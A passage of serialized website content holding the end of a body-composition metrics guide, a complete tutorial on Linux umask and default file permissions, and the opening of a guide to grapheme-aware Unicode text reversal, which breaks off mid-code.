metric.",[135,210656,210659],{"className":210657,"code":210658,"language":140},[138],"Body fat % = (Fat mass \u002F Total weight) × 100\n",[143,210660,210658],{"__ignoreMap":141},[193,210662,210663,210673],{},[196,210664,210665],{},[199,210666,210667,210669,210671],{},[202,210668,919],{},[202,210670,15964],{},[202,210672,15967],{},[211,210674,210675,210683,210691,210699,210707],{},[199,210676,210677,210679,210681],{},[216,210678,16478],{},[216,210680,16481],{},[216,210682,16484],{},[199,210684,210685,210687,210689],{},[216,210686,16489],{},[216,210688,16492],{},[216,210690,15991],{},[199,210692,210693,210695,210697],{},[216,210694,16499],{},[216,210696,16502],{},[216,210698,16505],{},[199,210700,210701,210703,210705],{},[216,210702,16510],{},[216,210704,16513],{},[216,210706,16516],{},[199,210708,210709,210711,210713],{},[216,210710,15201],{},[216,210712,16523],{},[216,210714,16526],{},[16,210716,210717],{},"Women naturally carry more essential fat due to reproductive functions. The gap between healthy ranges for men and women reflects this biology.",[33,210719,16017],{"id":16016},[16,210721,210722],{},"Everything that is not fat: muscle, organs, bones, skin, and water.",[135,210724,210727],{"className":210725,"code":210726,"language":140},[138],"Lean mass = Total weight - Fat mass\n",[143,210728,210726],{"__ignoreMap":141},[16,210730,210731,210732,210735],{},"Lean mass drives your ",[47,210733,210734],{},"basal metabolic rate (BMR)"," — the calories you burn at rest. More lean mass means a higher metabolism, independent of exercise.",[33,210737,210739],{"id":210738},"visceral-fat","Visceral Fat",[16,210741,210742],{},"Fat stored around abdominal organs. Unlike subcutaneous fat (under the skin), visceral fat is metabolically active — it releases inflammatory compounds and hormones linked to:",[41,210744,210745,210748,210751,210754],{},[44,210746,210747],{},"Type 2 diabetes",[44,210749,210750],{},"Cardiovascular disease",[44,210752,210753],{},"Certain cancers",[44,210755,210756],{},"Insulin resistance",[16,210758,210759],{},"Visceral fat does not show on the scale or in body fat percentage alone. You can have a \"normal\" body fat percentage but dangerous levels of visceral fat (the \"skinny fat\" pattern).",[11,210761,210763],{"id":210762},"measurement-methods","Measurement Methods",[193,210765,210766,210778],{},[196,210767,210768],{},[199,210769,210770,210772,210774,210776],{},[202,210771,7441],{},[202,210773,54155],{},[202,210775,825],{},[202,210777,16397],{},[211,210779,210780,210791,210803,210814,210826,210839],{},[199,210781,210782,210784,210787,210789],{},[216,210783,16406],{},[216,210785,210786],{},"Fat%, lean mass, bone density, visceral fat",[216,210788,15446],{},[216,210790,16411],{},[199,210792,210793,210796,210799,210801],{},[216,210794,210795],{},"Bioelectrical impedance (BIA)",[216,210797,210798],{},"Fat%, lean mass",[216,210800,15457],{},[216,210802,16424],{},[199,210804,210805,210807,210810,210812],{},[216,210806,16432],{},[216,210808,210809],{},"Subcutaneous fat estimate",[216,210811,15457],{},[216,210813,16437],{},[199,210815,210816,210819,210822,210824],{},[216,210817,210818],{},"Navy tape method",[216,210820,210821],{},"Fat% estimate",[216,210823,15457],{},[216,210825,16450],{},[199,210827,210828,210831,210834,210836],{},[216,210829,210830],{},"Hydrostatic weighing",[216,210832,210833],{},"Fat%",[216,210835,15446],{},[216,210837,210838],{},"$40–80",[199,210840,210841,210844,210846,210848],{},[216,210842,210843],{},"BOD POD",[216,210845,210798],{},[216,210847,15446],{},[216,210849,210838],{},[16,210851,210852,210855],{},[47,210853,210854],{},"Accuracy trade-off",": DEXA is the gold standard but requires a clinic visit. BIA scales are convenient but vary by 3-5% depending on hydration level.",[33,210857,210859],{"id":210858},"navy-tape-measure-method","Navy Tape Measure Method",[16,210861,210862],{},"A free estimate using waist, neck, and hip measurements:",[16,210864,210865],{},[47,210866,210867],{},"Men:",[135,210869,210872],{"className":210870,"code":210871,"language":140},[138],"Body fat % = 86.010 × log10(waist - neck) - 70.041 × log10(height) + 36.76\n",[143,210873,210871],{"__ignoreMap":141},[16,210875,210876],{},[47,210877,210878],{},"Women:",[135,210880,210883],{"className":210881,"code":210882,"language":140},[138],"Body fat % = 163.205 × log10(waist + hip - neck) - 97.684 × log10(height) - 78.387\n",[143,210884,210882],{"__ignoreMap":141},[16,210886,210887],{},"This method is surprisingly close to caliper measurements for most people but underestimates body fat in very lean or very overweight individuals.",[11,210889,210891],{"id":210890},"ratios-and-indices","Ratios and Indices",[33,210893,210895],{"id":210894},"fat-free-mass-index-ffmi","Fat-Free Mass Index (FFMI)",[16,210897,210898],{},"Normalizes lean mass for height — useful for comparing muscularity across different body sizes.",[135,210900,210903],{"className":210901,"code":210902,"language":140},[138],"FFMI = Lean mass (kg) \u002F Height (m)²\nNormalized FFMI = FFMI + 6.1 × (1.8 - Height in m)\n",[143,210904,210902],{"__ignoreMap":141},[193,210906,210907,210916],{},[196,210908,210909],{},[199,210910,210911,210914],{},[202,210912,210913],{},"FFMI Range (Men)",[202,210915,21634],{},[211,210917,210918,210925,210933,210940,210948],{},[199,210919,210920,210923],{},[216,210921,210922],{},"17–19",[216,210924,16510],{},[199,210926,210927,210930],{},[216,210928,210929],{},"20–21",[216,210931,210932],{},"Above average",[199,210934,210935,210938],{},[216,210936,210937],{},"22–23",[216,210939,76010],{},[199,210941,210942,210945],{},[216,210943,210944],{},"24–25",[216,210946,210947],{},"Superior",[199,210949,210950,210953],{},[216,210951,210952],{},"26+",[216,210954,210955],{},"Suspicious of steroid use",[16,210957,210958],{},"Women's FFMI values run approximately 3-4 points lower.",[33,210960,16587],{"id":16586},[16,210962,210963],{},"Your waist circumference should be less than half your height. This single ratio predicts cardiovascular risk better than BMI across ethnic groups.",[11,210965,210967],{"id":210966},"tracking-progress","tracking Progress",[16,210969,210970],{},"The scale can move in confusing directions when you change your body composition:",[193,210972,210973,210987],{},[196,210974,210975],{},[199,210976,210977,210979,210981,210984],{},[202,210978,21080],{},[202,210980,16209],{},[202,210982,210983],{},"Body Fat %",[202,210985,210986],{},"What Is Happening",[211,210988,210989,211003,211017],{},[199,210990,210991,210994,210997,211000],{},[216,210992,210993],{},"Starting strength training",[216,210995,210996],{},"Up 2 kg",[216,210998,210999],{},"Down 2%",[216,211001,211002],{},"Gaining muscle, losing fat",[199,211004,211005,211008,211011,211014],{},[216,211006,211007],{},"Crash dieting",[216,211009,211010],{},"Down 5 kg",[216,211012,211013],{},"Up 1%",[216,211015,211016],{},"Losing lean mass, retaining fat",[199,211018,211019,211022,211025,211028],{},[216,211020,211021],{},"Consistent exercise + nutrition",[216,211023,211024],{},"Down 3 kg",[216,211026,211027],{},"Down 4%",[216,211029,211030],{},"Healthy recomposition",[16,211032,211033],{},"Track body fat percentage alongside weight to understand what is actually changing.",[11,211035,211037],{"id":211036},"practical-measurement-tips","Practical Measurement Tips",[41,211039,211040,211046,211052,211058,211064],{},[44,211041,211042,211045],{},[47,211043,211044],{},"Measure at the same time of day"," — morning, before eating, after using the bathroom",[44,211047,211048,211051],{},[47,211049,211050],{},"Stay hydrated"," — BIA devices use electrical signals that water carries; dehydration inflates body fat readings",[44,211053,211054,211057],{},[47,211055,211056],{},"Measure weekly, not daily"," — body composition shifts slowly; daily readings add noise",[44,211059,211060,211063],{},[47,211061,211062],{},"Use the same device"," — different BIA scales use different algorithms and produce different numbers",[44,211065,211066,211069],{},[47,211067,211068],{},"Watch trends, not absolute numbers"," — a 2% drop over 8 weeks is meaningful even if the absolute accuracy is ±3%",[11,211071,1355],{"id":1354},[41,211073,211074,211077,211080,211083,211086],{},[44,211075,211076],{},"Body fat percentage is the most informative single metric — it distinguishes fat from lean mass",[44,211078,211079],{},"Visceral fat drives metabolic disease risk and is not captured by the scale",[44,211081,211082],{},"DEXA is the most accurate measurement; BIA scales are the most practical",[44,211084,211085],{},"The Navy tape method offers a free, reasonable estimate using only a measuring tape",[44,211087,211088],{},"Track body fat alongside weight to see real body composition changes during training",[11,211090,286],{"id":285},[16,211092,211093,211094,211096],{},"Start with BMI as a baseline using our ",[98,211095,15034],{"href":16142},", then explore body fat percentage and waist measurements for a more complete assessment.",{"title":141,"searchDepth":337,"depth":337,"links":211098},[211099,211100,211105,211108,211112,211113,211114,211115],{"id":210638,"depth":337,"text":210639},{"id":210648,"depth":337,"text":210649,"children":211101},[211102,211103,211104],{"id":15948,"depth":343,"text":15949},{"id":16016,"depth":343,"text":16017},{"id":210738,"depth":343,"text":210739},{"id":210762,"depth":337,"text":210763,"children":211106},[211107],{"id":210858,"depth":343,"text":210859},{"id":210890,"depth":337,"text":210891,"children":211109},[211110,211111],{"id":210894,"depth":343,"text":210895},{"id":16586,"depth":343,"text":16587},{"id":210966,"depth":337,"text":210967},{"id":211036,"depth":337,"text":211037},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Go beyond the scale — learn body fat percentage, lean mass, visceral fat, and other metrics that reveal what your weight actually means.",{"immutable":363},"\u002Fguides\u002Funderstanding-body-composition-metrics",{"title":210633,"description":211116},"guides\u002Funderstanding-body-composition-metrics","2hAFjV9CeVUL07CDkO0JuR78N2z4aCkMa2mIbhSw2e0",{"id":211123,"title":211124,"body":211125,"date":2070,"description":211755,"extension":361,"meta":211756,"navigation":363,"path":211759,"readingTime":1717,"seo":211760,"stem":211761,"__hash__":211762},"guides\u002Fguides\u002Funderstanding-umask-default-permissions.md","Understanding umask and Default Permissions on Linux",{"type":8,"value":211126,"toc":211735},[211127,211131,211137,211149,211153,211157,211160,211176,211179,211183,211188,211197,211246,211255,211303,211306,211310,211388,211392,211396,211431,211435,211469,211472,211476,211479,211522,211526,211535,211539,211595,211598,211600,211607,211613,211648,211652,211655,211685,211688,211690,211710,211712,211718,211720,211732],[11,211128,211130],{"id":211129},"what-is-umask","What Is umask?",[16,211132,211133,211134,211136],{},"When you create a new file or directory on Linux, the system assigns it default permissions. The ",[47,211135,25951],{}," (user file-creation mode mask) determines what those defaults are by subtracting permission bits from the base creation mode.",[16,211138,211139,211140,211142,211143,211145,211146,211148],{},"A umask of ",[143,211141,142289],{}," means newly created files get ",[143,211144,24563],{}," (rw-r--r--) and directories get ",[143,211147,24582],{}," (rwxr-xr-x). The umask does not grant permissions — it removes them.",[11,211150,211152],{"id":211151},"how-umask-calculation-works","How umask Calculation Works",[33,211154,211156],{"id":211155},"base-creation-modes","Base Creation Modes",[16,211158,211159],{},"Programs request permissions when creating files:",[41,211161,211162,211169],{},[44,211163,211164,211165,211168],{},"Files: base mode ",[143,211166,211167],{},"0666"," (rw-rw-rw-)",[44,211170,211171,211172,211175],{},"Directories: base mode ",[143,211173,211174],{},"0777"," (rwxrwxrwx)",[16,211177,211178],{},"The umask subtracts bits from these base values.",[33,211180,211182],{"id":211181},"subtraction-example","Subtraction Example",[16,211184,211185,211186,8037],{},"With umask ",[143,211187,142289],{},[16,211189,211190,6841,211193,211196],{},[47,211191,211192],{},"File:",[143,211194,211195],{},"0666 - 0022 = 0644"," (rw-r--r--)",[193,211198,211199,211211],{},[196,211200,211201],{},[199,211202,211203,211205,211207,211209],{},[202,211204,919],{},[202,211206,158587],{},[202,211208,25951],{},[202,211210,70645],{},[211,211212,211213,211224,211236],{},[199,211214,211215,211217,211220,211222],{},[216,211216,24547],{},[216,211218,211219],{},"rw-",[216,211221,137396],{},[216,211223,211219],{},[199,211225,211226,211228,211230,211233],{},[216,211227,24550],{},[216,211229,211219],{},[216,211231,211232],{},"-w-",[216,211234,211235],{},"r--",[199,211237,211238,211240,211242,211244],{},[216,211239,25269],{},[216,211241,211219],{},[216,211243,211232],{},[216,211245,211235],{},[16,211247,211248,6841,211251,211254],{},[47,211249,211250],{},"Directory:",[143,211252,211253],{},"0777 - 0022 = 0755"," (rwxr-xr-x)",[193,211256,211257,211269],{},[196,211258,211259],{},[199,211260,211261,211263,211265,211267],{},[202,211262,919],{},[202,211264,158587],{},[202,211266,25951],{},[202,211268,70645],{},[211,211270,211271,211282,211293],{},[199,211272,211273,211275,211278,211280],{},[216,211274,24547],{},[216,211276,211277],{},"rwx",[216,211279,137396],{},[216,211281,211277],{},[199,211283,211284,211286,211288,211290],{},[216,211285,24550],{},[216,211287,211277],{},[216,211289,211232],{},[216,211291,211292],{},"r-x",[199,211294,211295,211297,211299,211301],{},[216,211296,25269],{},[216,211298,211277],{},[216,211300,211232],{},[216,211302,211292],{},[16,211304,211305],{},"Note that umask uses the same octal values as chmod: read=4, write=2, execute=1.",[11,211307,211309],{"id":211308},"common-umask-values","Common umask Values",[193,211311,211312,211326],{},[196,211313,211314],{},[199,211315,211316,211318,211321,211324],{},[202,211317,25951],{},[202,211319,211320],{},"File Permissions",[202,211322,211323],{},"Directory Permissions",[202,211325,1775],{},[211,211327,211328,211339,211350,211361,211375],{},[199,211329,211330,211332,211334,211336],{},[216,211331,142289],{},[216,211333,142292],{},[216,211335,142295],{},[216,211337,211338],{},"Default on most Linux systems",[199,211340,211341,211343,211345,211347],{},[216,211342,142303],{},[216,211344,142306],{},[216,211346,142309],{},[216,211348,211349],{},"More restrictive group access",[199,211351,211352,211354,211356,211358],{},[216,211353,142317],{},[216,211355,142320],{},[216,211357,142323],{},[216,211359,211360],{},"Private: no group or others access",[199,211362,211363,211366,211369,211372],{},[216,211364,211365],{},"002",[216,211367,211368],{},"664 (rw-rw-r--)",[216,211370,211371],{},"775 (rwxrwxr-x)",[216,211373,211374],{},"Shared group collaboration",[199,211376,211377,211379,211382,211385],{},[216,211378,14083],{},[216,211380,211381],{},"666 (rw-rw-rw-)",[216,211383,211384],{},"777 (rwxrwxrwx)",[216,211386,211387],{},"No restrictions (dangerous)",[11,211389,211391],{"id":211390},"checking-and-setting-umask","Checking and Setting umask",[33,211393,211395],{"id":211394},"check-current-umask","Check Current umask",[135,211397,211399],{"className":6951,"code":211398,"language":6953,"meta":141,"style":141},"umask\n# Output: 0022\n\n# Symbolic output (more readable)\numask -S\n# Output: u=rwx,g=rx,o=rx\n",[143,211400,211401,211405,211410,211414,211419,211426],{"__ignoreMap":141},[1560,211402,211403],{"class":1562,"line":1563},[1560,211404,142339],{"class":1576},[1560,211406,211407],{"class":1562,"line":337},[1560,211408,211409],{"class":1649},"# Output: 0022\n",[1560,211411,211412],{"class":1562,"line":343},[1560,211413,1702],{"emptyLinePlaceholder":363},[1560,211415,211416],{"class":1562,"line":365},[1560,211417,211418],{"class":1649},"# Symbolic output (more readable)\n",[1560,211420,211421,211423],{"class":1562,"line":889},[1560,211422,25951],{"class":1576},[1560,211424,211425],{"class":1576}," -S\n",[1560,211427,211428],{"class":1562,"line":1710},[1560,211429,211430],{"class":1649},"# Output: u=rwx,g=rx,o=rx\n",[33,211432,211434],{"id":211433},"set-umask-temporarily","Set umask Temporarily",[135,211436,211438],{"className":6951,"code":211437,"language":6953,"meta":141,"style":141},"# More restrictive for this session\numask 077\n\n# Verify\numask\n# Output: 0077\n",[143,211439,211440,211445,211452,211456,211460,211464],{"__ignoreMap":141},[1560,211441,211442],{"class":1562,"line":1563},[1560,211443,211444],{"class":1649},"# More restrictive for this session\n",[1560,211446,211447,211449],{"class":1562,"line":337},[1560,211448,25951],{"class":1576},[1560,211450,211451],{"class":1576}," 077\n",[1560,211453,211454],{"class":1562,"line":343},[1560,211455,1702],{"emptyLinePlaceholder":363},[1560,211457,211458],{"class":1562,"line":365},[1560,211459,103826],{"class":1649},[1560,211461,211462],{"class":1562,"line":889},[1560,211463,142339],{"class":1576},[1560,211465,211466],{"class":1562,"line":1710},[1560,211467,211468],{"class":1649},"# Output: 0077\n",[16,211470,211471],{},"This change lasts only for the current shell session.",[33,211473,211475],{"id":211474},"set-umask-permanently","Set umask Permanently",[16,211477,211478],{},"Add the umask command to your shell configuration:",[135,211480,211482],{"className":6951,"code":211481,"language":6953,"meta":141,"style":141},"# For bash\necho \"umask 027\" >> ~\u002F.bashrc\n\n# For zsh\necho \"umask 027\" >> ~\u002F.zshrc\n",[143,211483,211484,211489,211502,211506,211511],{"__ignoreMap":141},[1560,211485,211486],{"class":1562,"line":1563},[1560,211487,211488],{"class":1649},"# For bash\n",[1560,211490,211491,211493,211496,211499],{"class":1562,"line":337},[1560,211492,24278],{"class":1576},[1560,211494,211495],{"class":5634}," \"umask 027\"",[1560,211497,211498],{"class":1669}," >>",[1560,211500,211501],{"class":5634}," ~\u002F.bashrc\n",[1560,211503,211504],{"class":1562,"line":343},[1560,211505,1702],{"emptyLinePlaceholder":363},[1560,211507,211508],{"class":1562,"line":365},[1560,211509,211510],{"class":1649},"# For zsh\n",[1560,211512,211513,211515,211517,211519],{"class":1562,"line":889},[1560,211514,24278],{"class":1576},[1560,211516,211495],{"class":5634},[1560,211518,211498],{"class":1669},[1560,211520,211521],{"class":5634}," ~\u002F.zshrc\n",[33,211523,211525],{"id":211524},"system-wide-default","System-Wide Default",[16,211527,211528,211529,1531,211531,211534],{},"The system default is typically set in ",[143,211530,142368],{},[143,211532,211533],{},"\u002Fetc\u002Flogin.defs",". Changing this affects all users.",[11,211536,211538],{"id":211537},"umask-vs-chmod","umask vs chmod",[193,211540,211541,211551],{},[196,211542,211543],{},[199,211544,211545,211547,211549],{},[202,211546,13104],{},[202,211548,25951],{},[202,211550,24759],{},[211,211552,211553,211564,211574,211585],{},[199,211554,211555,211558,211561],{},[216,211556,211557],{},"When it applies",[216,211559,211560],{},"When files\u002Fdirectories are created",[216,211562,211563],{},"On existing files\u002Fdirectories",[199,211565,211566,211568,211571],{},[216,211567,106473],{},[216,211569,211570],{},"Removes permissions from base",[216,211572,211573],{},"Sets permissions directly",[199,211575,211576,211579,211582],{},[216,211577,211578],{},"Persistence",[216,211580,211581],{},"Affects all future creations in session",[216,211583,211584],{},"One-time change on target",[199,211586,211587,211589,211592],{},[216,211588,65684],{},[216,211590,211591],{},"Process-level setting",[216,211593,211594],{},"File-level setting",[16,211596,211597],{},"Use umask to set policy for new files. Use chmod to fix permissions on existing files.",[11,211599,141991],{"id":141990},[16,211601,211602,211603,211606],{},"The umask can also affect setuid (4), setgid (2), and sticky bit (1). A four-digit umask like ",[143,211604,211605],{},"0022"," includes the special bits mask as the first digit.",[16,211608,211609,211610,211612],{},"Most users never need to adjust these via umask. The special bits are typically set with ",[143,211611,24759],{}," after creation:",[135,211614,211616],{"className":6951,"code":211615,"language":6953,"meta":141,"style":141},"# Set setgid on a directory (new files inherit group)\nchmod 2775 \u002Fshared\u002Fproject\n\n# Set sticky bit on a directory (only owner can delete files)\nchmod 1777 \u002Ftmp\n",[143,211617,211618,211623,211631,211635,211640],{"__ignoreMap":141},[1560,211619,211620],{"class":1562,"line":1563},[1560,211621,211622],{"class":1649},"# Set setgid on a directory (new files inherit group)\n",[1560,211624,211625,211627,211629],{"class":1562,"line":337},[1560,211626,24759],{"class":1566},[1560,211628,24981],{"class":1576},[1560,211630,142445],{"class":5634},[1560,211632,211633],{"class":1562,"line":343},[1560,211634,1702],{"emptyLinePlaceholder":363},[1560,211636,211637],{"class":1562,"line":365},[1560,211638,211639],{"class":1649},"# Set sticky bit on a directory (only owner can delete files)\n",[1560,211641,211642,211644,211646],{"class":1562,"line":889},[1560,211643,24759],{"class":1566},[1560,211645,142182],{"class":1576},[1560,211647,142138],{"class":5634},[11,211649,211651],{"id":211650},"web-server-considerations","Web Server Considerations",[16,211653,211654],{},"For web servers, umask directly affects security:",[135,211656,211658],{"className":6951,"code":211657,"language":6953,"meta":141,"style":141},"# Secure umask for web deployments\numask 027\n\n# Result: files created as 640 (owner rw, group r, others nothing)\n# Directories created as 750 (owner rwx, group rx, others nothing)\n",[143,211659,211660,211665,211671,211675,211680],{"__ignoreMap":141},[1560,211661,211662],{"class":1562,"line":1563},[1560,211663,211664],{"class":1649},"# Secure umask for web deployments\n",[1560,211666,211667,211669],{"class":1562,"line":337},[1560,211668,25951],{"class":1576},[1560,211670,142359],{"class":1576},[1560,211672,211673],{"class":1562,"line":343},[1560,211674,1702],{"emptyLinePlaceholder":363},[1560,211676,211677],{"class":1562,"line":365},[1560,211678,211679],{"class":1649},"# Result: files created as 640 (owner rw, group r, others nothing)\n",[1560,211681,211682],{"class":1562,"line":889},[1560,211683,211684],{"class":1649},"# Directories created as 750 (owner rwx, group rx, others nothing)\n",[16,211686,211687],{},"This prevents the \"others\" category from reading web files — the web server runs as the owner or group, while other system users have no access.",[11,211689,1355],{"id":1354},[41,211691,211692,211695,211698,211701,211704,211707],{},[44,211693,211694],{},"umask subtracts permission bits from the base creation mode (0666 for files, 0777 for directories)",[44,211696,211697],{},"Default umask 022 produces files at 644 and directories at 755",[44,211699,211700],{},"Set umask 077 for private environments, 027 for restricted group access, 002 for shared collaboration",[44,211702,211703],{},"umask affects only new files; use chmod for existing ones",[44,211705,211706],{},"Add umask to shell config files for persistent settings",[44,211708,211709],{},"Web servers should use restrictive umask values (027 or 077) to limit file exposure",[11,211711,286],{"id":285},[16,211713,211714,211715,211717],{},"Calculate permission values and understand the relationship between umask and chmod using our ",[98,211716,27635],{"href":25192},". Toggle permission bits interactively and see numeric, symbolic, and binary representations side by side.",[11,211719,321],{"id":320},[41,211721,211722,211727],{},[44,211723,211724,211726],{},[98,211725,27648],{"href":25169}," — complete reference for the chmod command",[44,211728,211729,211731],{},[98,211730,25176],{"href":25175}," — deep dive into the owner\u002Fgroup\u002Fothers model",[2043,211733,211734],{},"html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":211736},[211737,211738,211742,211743,211749,211750,211751,211752,211753,211754],{"id":211129,"depth":337,"text":211130},{"id":211151,"depth":337,"text":211152,"children":211739},[211740,211741],{"id":211155,"depth":343,"text":211156},{"id":211181,"depth":343,"text":211182},{"id":211308,"depth":337,"text":211309},{"id":211390,"depth":337,"text":211391,"children":211744},[211745,211746,211747,211748],{"id":211394,"depth":343,"text":211395},{"id":211433,"depth":343,"text":211434},{"id":211474,"depth":343,"text":211475},{"id":211524,"depth":343,"text":211525},{"id":211537,"depth":337,"text":211538},{"id":141990,"depth":337,"text":141991},{"id":211650,"depth":337,"text":211651},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how umask controls default file and directory permissions on Linux. Understand octal calculation, common umask values, and configuration.",{"keywords":211757,"immutable":363},[26052,211758],"understanding-umask-default-permissions","\u002Fguides\u002Funderstanding-umask-default-permissions",{"title":211124,"description":211755},"guides\u002Funderstanding-umask-default-permissions","vAOfRBNcO6Gu59tnZ2-h3vFgOirBxLKXxiNPj9lJ0jU",{"id":211764,"title":211765,"body":211766,"date":2070,"description":212270,"extension":361,"meta":212271,"navigation":363,"path":212272,"readingTime":1710,"seo":212273,"stem":212274,"__hash__":212275},"guides\u002Fguides\u002Funicode-bidi-text-reversal.md","Text Reversal and Bidirectional Unicode",{"type":8,"value":211767,"toc":212259},[211768,211771,211775,211782,211843,211856,211860,211863,211876,211883,211889,211892,211896,211899,211993,212071,212080,212084,212087,212098,212104,212107,212111,212114,212170,212173,212177,212225,212228,212230,212249,212251,212257],[16,211769,211770],{},"Reversing a string sounds trivial — swap characters from both ends until you reach the middle. But the moment your text contains emojis, combining marks, or right-to-left scripts, the simple approach breaks. What you see as a single character on screen might be multiple code points under the hood, and naïve reversal scrambles them into gibberish.",[11,211772,211774],{"id":211773},"the-problem-with-naïve-reversal","The Problem with Naïve Reversal",[16,211776,211777,211778,211781],{},"Consider this string: ",[143,211779,211780],{},"\"noe\\u0308l\""," — the word \"noël\" written with a combining diaeresis on the e. It contains five code points:",[193,211783,211784,211795],{},[196,211785,211786],{},[199,211787,211788,211791,211793],{},[202,211789,211790],{},"Index",[202,211792,7812],{},[202,211794,7809],{},[211,211796,211797,211806,211815,211824,211834],{},[199,211798,211799,211801,211804],{},[216,211800,5285],{},[216,211802,211803],{},"U+006E",[216,211805,22610],{},[199,211807,211808,211810,211813],{},[216,211809,3585],{},[216,211811,211812],{},"U+006F",[216,211814,25584],{},[199,211816,211817,211819,211822],{},[216,211818,10099],{},[216,211820,211821],{},"U+0065",[216,211823,96224],{},[199,211825,211826,211828,211831],{},[216,211827,17821],{},[216,211829,211830],{},"U+0308",[216,211832,211833],{},"◌̈ (combining diaeresis)",[199,211835,211836,211838,211841],{},[216,211837,12546],{},[216,211839,211840],{},"U+006C",[216,211842,157026],{},[16,211844,211845,211846,211849,211850,211852,211853,211855],{},"A naïve reversal that operates on code points produces ",[143,211847,211848],{},"\"l\\u0308eon\""," — the combining mark now attaches to the ",[143,211851,157026],{}," instead of the ",[143,211854,96224],{},", rendering as \"l̈eon\". The diaeresis hopped to the wrong letter because the algorithm did not respect grapheme boundaries.",[11,211857,211859],{"id":211858},"grapheme-clusters","Grapheme Clusters",[16,211861,211862],{},"A grapheme cluster is the smallest unit of text that a user perceives as a single character. It may consist of:",[41,211864,211865,211870,211873],{},[44,211866,211867,211868,1525],{},"A base character (e.g., ",[143,211869,96224],{},[44,211871,211872],{},"Zero or more combining marks (e.g., diaeresis, accent, cedilla)",[44,211874,211875],{},"Zero or more variation selectors or joiners",[16,211877,211878,211879,211882],{},"The family emoji 👨‍👩‍👧‍👦 illustrates this dramatically. It is a single grapheme cluster composed of ",[47,211880,211881],{},"seven"," code points:",[135,211884,211887],{"className":211885,"code":211886,"language":140},[138],"U+1F468  👨  Man\nU+200D        Zero-Width Joiner\nU+1F469  👩  Woman\nU+200D        Zero-Width Joiner\nU+1F467  👧  Girl\nU+200D        Zero-Width Joiner\nU+1F466  👦  Boy\n",[143,211888,211886],{"__ignoreMap":141},[16,211890,211891],{},"Reversing these code points individually splits the joiner sequences, producing a string of disconnected emoji that no longer renders as a family.",[33,211893,211895],{"id":211894},"proper-reversal-with-grapheme-clusters","Proper Reversal with Grapheme Clusters",[16,211897,211898],{},"To reverse text correctly, you must segment it into grapheme clusters first, then reverse the cluster order:",[135,211900,211902],{"className":1607,"code":211901,"language":1609,"meta":141,"style":141},"function reverseGraphemes(str) {\n  const segmenter = new Intl.Segmenter('en', { granularity: 'grapheme' });\n  const clusters = [...segmenter.segment(str)].map(s => s.segment);\n  return clusters.reverse().join('');\n}\n",[143,211903,211904,211917,211941,211970,211989],{"__ignoreMap":141},[1560,211905,211906,211908,211911,211913,211915],{"class":1562,"line":1563},[1560,211907,8648],{"class":1669},[1560,211909,211910],{"class":1566}," reverseGraphemes",[1560,211912,1688],{"class":1570},[1560,211914,38740],{"class":2219},[1560,211916,9345],{"class":1570},[1560,211918,211919,211921,211923,211925,211927,211929,211931,211933,211935,211937,211939],{"class":1562,"line":337},[1560,211920,28057],{"class":1669},[1560,211922,205236],{"class":1576},[1560,211924,8186],{"class":1669},[1560,211926,11489],{"class":1669},[1560,211928,89286],{"class":1570},[1560,211930,205245],{"class":1566},[1560,211932,1688],{"class":1570},[1560,211934,205250],{"class":5634},[1560,211936,205253],{"class":1570},[1560,211938,205256],{"class":5634},[1560,211940,11630],{"class":1570},[1560,211942,211943,211945,211948,211950,211952,211954,211956,211958,211960,211962,211964,211966,211968],{"class":1562,"line":343},[1560,211944,28057],{"class":1669},[1560,211946,211947],{"class":1576}," clusters",[1560,211949,8186],{"class":1669},[1560,211951,39830],{"class":1570},[1560,211953,24388],{"class":1669},[1560,211955,205273],{"class":1570},[1560,211957,205276],{"class":1566},[1560,211959,205279],{"class":1570},[1560,211961,9371],{"class":1566},[1560,211963,1688],{"class":1570},[1560,211965,18727],{"class":2219},[1560,211967,9378],{"class":1669},[1560,211969,205290],{"class":1570},[1560,211971,211972,211974,211977,211979,211981,211983,211985,211987],{"class":1562,"line":365},[1560,211973,9350],{"class":1669},[1560,211975,211976],{"class":1570}," clusters.",[1560,211978,78407],{"class":1566},[1560,211980,42138],{"class":1570},[1560,211982,9459],{"class":1566},[1560,211984,1688],{"class":1570},[1560,211986,5635],{"class":5634},[1560,211988,1744],{"class":1570},[1560,211990,211991],{"class":1562,"line":889},[1560,211992,1585],{"class":1570},[135,211994,211996],{"className":8259,"code":211995,"language":8261,"meta":141,"style":141},"import unicodedata\n\ndef reverse_graphemes(s):\n    clusters = []\n    current = ''\n    for char in s:\n        if unicodedata.combining(char) and current:\n            current += char\n        else:\n            if current:\n                clusters.append(current)\n            current = char\n    if current:\n        clusters.append(current)\n    return ''.join(reversed(clusters))\n",[143,211997,211998,212003,212007,212012,212017,212022,212027,212032,212037,212041,212046,212051,212056,212061,212066],{"__ignoreMap":141},[1560,211999,212000],{"class":1562,"line":1563},[1560,212001,212002],{},"import unicodedata\n",[1560,212004,212005],{"class":1562,"line":337},[1560,212006,1702],{"emptyLinePlaceholder":363},[1560,212008,212009],{"class":1562,"line":343},[1560,212010,212011],{},"def reverse_graphemes(s):\n",[1560,212013,212014],{"class":1562,"line":365},[1560,212015,212016],{},"    clusters = 